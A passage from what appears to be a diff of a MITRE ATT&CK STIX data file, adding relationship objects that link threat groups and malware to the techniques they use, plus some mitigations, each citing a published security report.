"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--958ceb5f-7b5d-4f7f-94e3-814c2d0375d2", + "target_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2021-05-04T14:39:32.591Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2021-05-04T14:39:32.591Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--608ecdef-db04-419b-b453-0aeb538c7093", + "description": "[LiteDuke](https://attack.mitre.org/software/S0513) can create persistence by adding a shortcut in the CurrentVersion\\Run Registry key.(Citation: ESET Dukes October 2019)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2021-06-02T20:40:33.899Z", + "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-04T15:59:21.049Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. 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(2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. 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(2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + }, + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. 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(2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020.", + "source_name": "QiAnXin APT-C-36 Feb2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--34ff9bfb-0b3a-4b83-af85-60700ed052f4", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used and modified open-source tools like [Impacket](https://attack.mitre.org/software/S0357), [Mimikatz](https://attack.mitre.org/software/S0002), and [pwdump](https://attack.mitre.org/software/S0006).(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-05-26T20:19:44.143Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-26T20:19:44.143Z", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. 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Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ef1c558-11ba-48e3-9a99-1be2c209fba2", + "description": "[CostaRicto](https://attack.mitre.org/groups/G0132) employed nmap and pscan to scan target environments.(Citation: BlackBerry CostaRicto November 2020)", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "modified": "2021-05-27T14:06:24.891Z", + "source_ref": "intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-27T14:06:24.891Z", + "external_references": [ + { + "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", + "description": "The BlackBerry Research and Intelligence Team. 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APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.", + "source_name": "Securelist APT10 March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4acb6288-8de5-4a5c-b7a4-68911ab148f9", + "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can identify the username on a compromised host.(Citation: Securelist APT10 March 2021)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2021-06-22T13:12:35.407Z", + "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-06-22T13:12:35.407Z", + "external_references": [ + { + "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", + "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.", + "source_name": "Securelist APT10 March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b947983f-2c0a-4082-b102-8f8497e2b045", + "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can use RC4 to encrypt C2 communications.(Citation: Securelist APT10 March 2021)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2021-06-22T13:12:35.418Z", + "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-06-22T13:12:35.418Z", + "external_references": [ + { + "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", + "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.", + "source_name": "Securelist APT10 March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--035dca04-cf9e-45ac-a037-f171b06078e6", + "description": "[SodaMaster](https://attack.mitre.org/software/S0627) has the ability to download additional payloads from C2 to the targeted system.(Citation: Securelist APT10 March 2021)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-06-22T13:18:38.076Z", + "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-06-22T13:18:38.076Z", + "external_references": [ + { + "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", + "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.", + "source_name": "Securelist APT10 March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2426fc7d-5d97-4563-9889-d079ed36b4cf", + "description": "[SodaMaster](https://attack.mitre.org/software/S0627) has the ability to put itself to \"sleep\" for a specified time.(Citation: Securelist APT10 March 2021)", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "modified": "2021-06-22T13:21:51.329Z", + "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-06-22T13:21:51.329Z", + "external_references": [ + { + "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", + "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. 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APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. 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Retrieved June 29, 2021.", + "source_name": "Bitdefender Naikon April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6b9d6a84-b73e-4fb3-ad86-64b5832056d4", + "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to copy files to C:\\ProgramData\\Adobe\\temp prior to exfiltration.(Citation: Bitdefender Naikon April 2021)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2021-07-02T14:39:07.843Z", + "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-07-02T14:39:07.843Z", + "external_references": [ + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", + "description": "Vrabie, V. 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NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. 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(Citation: win10_asr)", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "modified": "2021-09-20T17:42:18.385Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-07-06T21:52:00.353Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", + "description": "Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. 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Retrieved September 23, 2020.", + "source_name": "ESET Dukes October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba25a8ba-dc7a-4197-b885-d910524588b7", + "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office VBA macros from calling Win32 APIs. (Citation: win10_asr)", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2021-10-18T21:24:31.445Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-07-20T23:00:16.230Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", + "description": "Microsoft. (2021, July 2). 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Retrieved June 24, 2021.", + "source_name": "win10_asr" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--682b7ced-a03b-4403-a058-9bc627c62f16", + "description": "[Chaes](https://attack.mitre.org/software/S0631) has exfiltrated its collected data from the infected machine to the C2, sometimes using the MIME protocol.(Citation: Cybereason Chaes Nov 2020) ", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "modified": "2021-10-07T17:28:01.079Z", + "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-07-21T17:54:45.505Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", + "description": "Salem, E. (2020, November 17). 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Retrieved June 30, 2021.", + "source_name": "Cybereason Chaes Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c3b1f90e-6b04-4e6f-99ae-e63b1607f72c", + "description": "Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify the web directory.(Citation: NSA and ASD Detect and Prevent Web Shells 2020)", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "modified": "2021-07-26T13:46:48.225Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-07-22T19:36:52.307Z", + "external_references": [ + { + "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "description": "NSA and ASD. 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Retrieved July 26, 2021.", + "source_name": "ITSyndicate Disabling PHP functions" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--edbfcc84-4096-4839-b5eb-5025b70ccaca", + "description": "Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify and/or add server software components.(Citation: NSA and ASD Detect and Prevent Web Shells 2020)", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "modified": "2021-07-26T21:06:20.100Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-07-22T22:46:31.173Z", + "external_references": [ + { + "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "description": "NSA and ASD. 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Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90268df8-948a-4eb4-a21c-7b1c6808f669", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has obtained valid accounts to gain initial access.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-10-01T19:12:19.650Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T18:52:48.070Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). 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Retrieved August 24, 2021.", + "source_name": "Accenture MUDCARP March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fa6bb182-28e8-4293-90ba-ee9a5c23d45b", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used external remote services such as virtual private networks (VPN) to gain initial access.(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2021-08-19T16:54:10.866Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T18:52:48.114Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a5cbd480-0147-4e70-9551-03a2b5b8fdcb", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) queries the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects LANG_RUSSIAN, LANG_BELARUSIAN, LANG_KAZAK, or LANG_UKRAINIAN.(Citation: Talos Zeus Panda Nov 2017)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:24:12.200Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:24:12.200Z", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4e1f3e6e-33b5-475d-b19b-d9a43227cf1c", + "description": "[Ryuk](https://attack.mitre.org/software/S0446) has been observed to query the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language and the value InstallLanguage. If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution.(Citation: CrowdStrike Ryuk January 2019)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:31:23.146Z", + "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:31:23.146Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Ryuk January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21409e96-7a2f-4109-b23e-1b43005aaaa4", + "description": "[Maze](https://attack.mitre.org/software/S0449) has checked the language of the machine with function GetUserDefaultUILanguage and terminated execution if the language matches with an entry in the predefined list.(Citation: McAfee Maze March 2020)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:35:07.010Z", + "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:35:07.010Z", + "external_references": [ + { + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", + "description": "Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020.", + "source_name": "McAfee Maze March 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6bce22a-7318-483d-a7dc-0edf32814ee5", + "description": "[REvil](https://attack.mitre.org/software/S0496) can check the system language using GetUserDefaultUILanguage and GetSystemDefaultUILanguage. If the language is found in the list, the process terminates.(Citation: Kaspersky Sodin July 2019)\n", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:38:52.079Z", + "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:38:52.079Z", + "external_references": [ + { + "url": "https://securelist.com/sodin-ransomware/91473/", + "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.", + "source_name": "Kaspersky Sodin July 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--682dad6a-277f-46ae-8416-cba070ff5738", + "description": "[Bazar](https://attack.mitre.org/software/S0534) can perform a check to ensure that the operating system's keyboard and language settings are not set to Russian.(Citation: NCC Group Team9 June 2020)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:43:01.213Z", + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:43:01.213Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.", + "source_name": "NCC Group Team9 June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--392980d3-6cac-4740-824c-4911ab10f135", + "description": "[Spark](https://attack.mitre.org/software/S0543) has checked the results of the GetKeyboardLayoutList and the language name returned by GetLocaleInfoA to make sure they contain the word \u201cArabic\u201d before executing.(Citation: Unit42 Molerat Mar 2020)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:46:16.625Z", + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:46:16.625Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020.", + "source_name": "Unit42 Molerat Mar 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dbe09d1f-9826-448d-83e0-5712f575fe76", + "description": "[SharpStage](https://attack.mitre.org/software/S0546) has been used to target Arabic-speaking users and used code that checks if the compromised machine has the Arabic language installed.(Citation: BleepingComputer Molerats Dec 2020)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:49:59.554Z", + "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:49:59.554Z", + "external_references": [ + { + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020.", + "source_name": "BleepingComputer Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b0b2abea-e4a0-4e96-8e71-9ff49b4759f7", + "description": "[DropBook](https://attack.mitre.org/software/S0547) has checked for the presence of Arabic language in the infected machine's settings.(Citation: BleepingComputer Molerats Dec 2020)", + "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", + "modified": "2021-08-18T19:52:07.094Z", + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T19:52:07.094Z", + "external_references": [ + { + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020.", + "source_name": "BleepingComputer Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bbd420ed-6959-4190-8317-2b9ecdc32856", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has staged data remotely prior to exfiltration.(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "modified": "2021-08-19T16:54:11.585Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:26:21.948Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e37d3456-b3a0-4502-b502-a505f383cb4c", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has archived victim's data prior to exfiltration.(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2021-08-19T16:54:10.829Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:26:22.039Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f71fa9f5-7a3c-43a7-8ca3-2e3c8996bde8", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used protocol tunneling to further conceal C2 communications and infrastructure.(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "modified": "2021-08-31T15:25:14.248Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:26:22.050Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3c4401bf-7a45-4d1d-a4ee-ea00788cd2aa", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used multi-hop proxies to disguise the source of their malicious traffic.(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "modified": "2021-08-31T15:25:14.376Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:26:22.041Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--732d754a-b02d-4ec6-8ba2-364c3a8510de", + "description": "(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2021-08-19T16:54:11.607Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-08-18T20:30:58.025Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", + "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", + "source_name": "CISA AA21-200A APT40 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ec9a7e1d-53f8-4a79-a5dd-a5890bf421ba", + "description": "(Citation: CISA AA21-200A APT40 July 2021)", + "target_ref": 